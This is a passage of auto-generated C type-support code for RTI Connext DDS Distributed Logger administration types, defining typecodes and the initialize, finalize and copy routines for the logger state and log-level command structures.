RTI_XCDR_TK_LONG; RTI_DL_ADMIN_State_g_tc_members[1]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_ADMIN_State_g_tc_members[1]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_State_g_tc_members[1]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_ADMIN_State_g_tc_members[2]._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_State_g_tc_members[2]._annotations._defaultValue._u.enumerated_value = 0; RTI_DL_ADMIN_State_g_tc_members[3]._annotations._defaultValue._d = RTI_XCDR_TK_STRING; RTI_DL_ADMIN_State_g_tc_members[3]._annotations._defaultValue._u.string_value = (DDS_Char *) ""; RTI_DL_ADMIN_State_g_tc_members[4]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_State_g_tc_members[4]._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_State_g_tc_members[4]._annotations._minValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_State_g_tc_members[4]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_ADMIN_State_g_tc_members[4]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_State_g_tc_members[4]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_ADMIN_State_g_tc_members[6]._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_State_g_tc_members[6]._annotations._defaultValue._u.enumerated_value = 0; RTI_DL_ADMIN_State_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_State_get_sample_access_info(); RTI_DL_ADMIN_State_g_tc._data._typePlugin = RTI_DL_ADMIN_State_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_State_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_State_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_State_g_memberAccessInfos[7] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_State_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_State_g_sampleAccessInfo; } RTI_DL_ADMIN_State_g_memberAccessInfos[0].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_State *)NULL)->hostAndAppId); RTI_DL_ADMIN_State_g_memberAccessInfos[1].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_State *)NULL)->administrationDomainId); RTI_DL_ADMIN_State_g_memberAccessInfos[2].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_State *)NULL)->state); RTI_DL_ADMIN_State_g_memberAccessInfos[3].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_State *)NULL)->applicationKind); RTI_DL_ADMIN_State_g_memberAccessInfos[4].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_State *)NULL)->filterLevel); RTI_DL_ADMIN_State_g_memberAccessInfos[5].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_State *)NULL)->rtiLoggerVerbosities); RTI_DL_ADMIN_State_g_memberAccessInfos[6].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_State *)NULL)->rtiLoggerPrintFormat); RTI_DL_ADMIN_State_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_State_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_State); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_State_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_State_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_State_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_State_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_State_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_State_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_State_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_State_finalize_w_return, NULL }; return &RTI_DL_ADMIN_State_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_State_initialize( RTI_DL_ADMIN_State* sample) { return RTI_DL_ADMIN_State_initialize_ex(sample,RTI_TRUE,RTI_TRUE); } RTIBool RTI_DL_ADMIN_State_initialize_ex( RTI_DL_ADMIN_State* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_State_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_State_initialize_w_params( RTI_DL_ADMIN_State* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_initialize_w_params(&sample->hostAndAppId, allocParams)) { return RTI_FALSE; } sample->administrationDomainId = 0; sample->state = RTI_DL_STATE_INITIALIZING; if (allocParams->allocate_memory) { sample->applicationKind = DDS_String_alloc(((RTI_DL_ADMIN_MAX_APPLICATION_KIND_LENGTH))); RTICdrType_copyStringEx( &sample->applicationKind, "", ((RTI_DL_ADMIN_MAX_APPLICATION_KIND_LENGTH)), RTI_FALSE); if (sample->applicationKind == NULL) { return RTI_FALSE; } } else { if (sample->applicationKind != NULL) { RTICdrType_copyStringEx( &sample->applicationKind, "", ((RTI_DL_ADMIN_MAX_APPLICATION_KIND_LENGTH)), RTI_FALSE); if (sample->applicationKind == NULL) { return RTI_FALSE; } } } sample->filterLevel = 0; { int i = 0; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* elem = (RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity*) &sample->rtiLoggerVerbosities[0]; for (i = 0; i < (int) ((5)); ++i, ++elem) { if (!RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize_w_params(elem,allocParams)) { return RTI_FALSE; } } } sample->rtiLoggerPrintFormat = RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEFAULT; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_State_finalize_w_return( RTI_DL_ADMIN_State* sample) { RTI_DL_ADMIN_State_finalize_ex(sample, RTI_TRUE); return RTI_TRUE; } void RTI_DL_ADMIN_State_finalize( RTI_DL_ADMIN_State* sample) { RTI_DL_ADMIN_State_finalize_ex(sample,RTI_TRUE); } void RTI_DL_ADMIN_State_finalize_ex( RTI_DL_ADMIN_State* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_State_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_State_finalize_w_params( RTI_DL_ADMIN_State* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } RTI_DL_HostAndAppId_finalize_w_params(&sample->hostAndAppId,deallocParams); RTI_DL_ADMIN_StateKind_finalize_w_params(&sample->state,deallocParams); if (sample->applicationKind != NULL) { DDS_String_free(sample->applicationKind); sample->applicationKind=NULL; } { int i = 0; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* elem = (RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity*) &sample->rtiLoggerVerbosities[0]; for (i = 0; i < (int) ((5)); ++i, ++elem) { RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_w_params(elem,deallocParams); } } RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_w_params(&sample->rtiLoggerPrintFormat,deallocParams); } void RTI_DL_ADMIN_State_finalize_optional_members( RTI_DL_ADMIN_State* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; RTI_DL_HostAndAppId_finalize_optional_members(&sample->hostAndAppId, deallocParams->delete_pointers); RTI_DL_ADMIN_StateKind_finalize_optional_members(&sample->state, deallocParams->delete_pointers); { int i = 0; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* elem = (RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity*) &sample->rtiLoggerVerbosities[0]; for (i = 0; i < (int) ((5)); ++i, ++elem) { RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_optional_members(elem, deallocParams->delete_pointers); } } RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_optional_members(&sample->rtiLoggerPrintFormat, deallocParams->delete_pointers); } RTIBool RTI_DL_ADMIN_State_copy( RTI_DL_ADMIN_State* dst, const RTI_DL_ADMIN_State* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_copy( &dst->hostAndAppId,(const RTI_DL_HostAndAppId*)&src->hostAndAppId)) { return RTI_FALSE; } if (!RTICdrType_copyLong ( &dst->administrationDomainId, &src->administrationDomainId)) { return RTI_FALSE; } if (!RTI_DL_ADMIN_StateKind_copy( &dst->state,(const RTI_DL_ADMIN_StateKind*)&src->state)) { return RTI_FALSE; } if (!RTICdrType_copyStringEx ( &dst->applicationKind, src->applicationKind, ((RTI_DL_ADMIN_MAX_APPLICATION_KIND_LENGTH)) + 1, RTI_FALSE)){ return RTI_FALSE; } if (!RTICdrType_copyLong ( &dst->filterLevel, &src->filterLevel)) { return RTI_FALSE; } { int i = 0; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* elemOut = (RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity*) &dst->rtiLoggerVerbosities[0]; const RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* elemIn = (const RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity*) &src->rtiLoggerVerbosities[0]; for (i = 0; i < (int) ((5));++i, ++elemOut, ++elemIn) { if (!RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_copy (elemOut,(const RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity*)elemIn)) { return RTI_FALSE; } } } if (!RTI_DL_ADMIN_RTILoggerPrintFormat_copy( &dst->rtiLoggerPrintFormat,(const RTI_DL_ADMIN_RTILoggerPrintFormat*)&src->rtiLoggerPrintFormat)) { return RTI_FALSE; } return RTI_TRUE; } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_State' sequence class. */ #define T RTI_DL_ADMIN_State #define TSeq RTI_DL_ADMIN_StateSeq #define T_initialize_w_params RTI_DL_ADMIN_State_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_State_finalize_w_params #define T_copy RTI_DL_ADMIN_State_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_CommandKindTYPENAME = "RTI::DL::ADMIN::CommandKind"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_CommandKind_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_CommandKind_g_tc_members[3]= { { (char *)"RTI_DL_SET_LOG_LEVEL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_SET_LOG_LEVEL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_SET_RTI_LOGGER_LEVEL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_SET_RTI_LOGGER_LEVEL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_SET_RTI_LOGGER_PRINT_FORMAT",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_SET_RTI_LOGGER_PRINT_FORMAT, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_CommandKind_g_tc = {{ DDS_TK_ENUM, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::CommandKind", /* Name */ NULL, /* Base class type code is assigned later */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 3, /* Number of members */ RTI_DL_ADMIN_CommandKind_g_tc_members, /* Members */ DDS_VM_NONE, /* Type Modifier */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_CommandKind*/ if (is_initialized) { return &RTI_DL_ADMIN_CommandKind_g_tc; } RTI_DL_ADMIN_CommandKind_g_tc._data._annotations._allowedDataRepresentationMask = 5; /* Initialize the values for annotations. */ RTI_DL_ADMIN_CommandKind_g_tc._data._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_CommandKind_g_tc._data._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_CommandKind_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_CommandKind_get_sample_access_info(); RTI_DL_ADMIN_CommandKind_g_tc._data._typePlugin = RTI_DL_ADMIN_CommandKind_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_CommandKind_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_CommandKind_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_CommandKind_g_memberAccessInfos[1] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_CommandKind_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandKind_g_sampleAccessInfo; } RTI_DL_ADMIN_CommandKind_g_memberAccessInfos[0].bindingMemberValueOffset[0] = 0; RTI_DL_ADMIN_CommandKind_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_CommandKind_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_CommandKind); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_CommandKind_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_CommandKind_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_CommandKind_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandKind_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_CommandKind_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_CommandKind_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_CommandKind_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_CommandKind_finalize_w_return, NULL }; return &RTI_DL_ADMIN_CommandKind_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_CommandKind_initialize( RTI_DL_ADMIN_CommandKind* sample) { *sample = RTI_DL_SET_LOG_LEVEL; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_CommandKind_initialize_ex( RTI_DL_ADMIN_CommandKind* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_CommandKind_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_CommandKind_initialize_w_params( RTI_DL_ADMIN_CommandKind* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } *sample = RTI_DL_SET_LOG_LEVEL; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_CommandKind_finalize_w_return( RTI_DL_ADMIN_CommandKind* sample) { if (sample) {} /* To avoid warnings */ return RTI_TRUE; } void RTI_DL_ADMIN_CommandKind_finalize( RTI_DL_ADMIN_CommandKind* sample) { if (sample==NULL) { return; } } void RTI_DL_ADMIN_CommandKind_finalize_ex( RTI_DL_ADMIN_CommandKind* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_CommandKind_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_CommandKind_finalize_w_params( RTI_DL_ADMIN_CommandKind* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } } void RTI_DL_ADMIN_CommandKind_finalize_optional_members( RTI_DL_ADMIN_CommandKind* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; } RTIBool RTI_DL_ADMIN_CommandKind_copy( RTI_DL_ADMIN_CommandKind* dst, const RTI_DL_ADMIN_CommandKind* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } return RTICdrType_copyEnum((RTICdrEnum *)dst, (RTICdrEnum *)src); } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_CommandKind' sequence class. */ #define T RTI_DL_ADMIN_CommandKind #define TSeq RTI_DL_ADMIN_CommandKindSeq #define T_initialize_w_params RTI_DL_ADMIN_CommandKind_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_CommandKind_finalize_w_params #define T_copy RTI_DL_ADMIN_CommandKind_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_CommandTYPENAME = "RTI::DL::ADMIN::Command"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_Command_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode RTI_DL_ADMIN_Command_g_tc_categoryAndVerbosity_sequence = DDS_INITIALIZE_SEQUENCE_TYPECODE((5),NULL); static DDS_TypeCode_Member RTI_DL_ADMIN_Command_g_tc_members[3]= { { (char *)"filterLevel",/* Member name */ { 1,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 1, /* Number of labels */ (RTI_DL_SET_LOG_LEVEL), /* First label C (RTI_DL_SET_LOG_LEVEL) */ NULL, /* Labels (it is NULL when there is only one label)*/ RTI_CDR_NONKEY_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"categoryAndVerbosity",/* Member name */ { 2,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 1, /* Number of labels */ (RTI_DL_SET_RTI_LOGGER_LEVEL), /* First label C (RTI_DL_SET_RTI_LOGGER_LEVEL) */ NULL, /* Labels (it is NULL when there is only one label)*/ RTI_CDR_NONKEY_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"printFormat",/* Member name */ { 3,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 1, /* Number of labels */ (RTI_DL_SET_RTI_LOGGER_PRINT_FORMAT), /* First label C (RTI_DL_SET_RTI_LOGGER_PRINT_FORMAT) */ NULL, /* Labels (it is NULL when there is only one label)*/ RTI_CDR_NONKEY_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_Command_g_tc = {{ DDS_TK_UNION| DDS_TK_MUTABLE_EXTENSIBILITY, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::Command", /* Name */ NULL, /* Base class type code is assigned later */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 3, /* Number of members */ RTI_DL_ADMIN_Command_g_tc_members, /* Members */ DDS_VM_NONE, /* Type Modifier */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_Command*/ if (is_initialized) { return &RTI_DL_ADMIN_Command_g_tc; } RTI_DL_ADMIN_Command_g_tc._data._annotations._allowedDataRepresentationMask = 5; RTI_DL_ADMIN_Command_g_tc_categoryAndVerbosity_sequence._data._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_get_typecode(); RTI_DL_ADMIN_Command_g_tc_categoryAndVerbosity_sequence._data._sampleAccessInfo = &DDS_g_sai_seq; RTI_DL_ADMIN_Command_g_tc_members[0]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; RTI_DL_ADMIN_Command_g_tc_members[1]._representation._typeCode = (RTICdrTypeCode *)& RTI_DL_ADMIN_Command_g_tc_categoryAndVerbosity_sequence; RTI_DL_ADMIN_Command_g_tc_members[2]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_RTILoggerPrintFormat_get_typecode(); /* Initialize the values for member annotations. */ RTI_DL_ADMIN_Command_g_tc_members[0]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_Command_g_tc_members[0]._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_Command_g_tc_members[0]._annotations._minValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_Command_g_tc_members[0]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_ADMIN_Command_g_tc_members[0]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_Command_g_tc_members[0]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_ADMIN_Command_g_tc_members[2]._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_Command_g_tc_members[2]._annotations._defaultValue._u.enumerated_value = 0; /* Discriminator type code */ RTI_DL_ADMIN_Command_g_tc._data._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_CommandKind_get_typecode(); RTI_DL_ADMIN_Command_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_Command_get_sample_access_info(); RTI_DL_ADMIN_Command_g_tc._data._typePlugin = RTI_DL_ADMIN_Command_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_Command_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_Command_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_Command_g_memberAccessInfos[4] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_Command_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_Command_g_sampleAccessInfo; } RTI_DL_ADMIN_Command_g_memberAccessInfos[0].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_Command *)NULL)->_d); RTI_DL_ADMIN_Command_g_memberAccessInfos[1].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_Command *)NULL)->_u.filterLevel); RTI_DL_ADMIN_Command_g_memberAccessInfos[2].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_Command *)NULL)->_u.categoryAndVerbosity); RTI_DL_ADMIN_Command_g_memberAccessInfos[3].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_Command *)NULL)->_u.printFormat); RTI_DL_ADMIN_Command_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_Command_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_Command); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_Command_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_Command_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_Command_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_Command_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_Command_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_Command_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_Command_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_Command_finalize_w_return, NULL }; return &RTI_DL_ADMIN_Command_g_typePlugin; } #endif DDS_LongLong RTI_DL_ADMIN_Command_getDefaultDiscriminator(){ return 0; } RTIBool 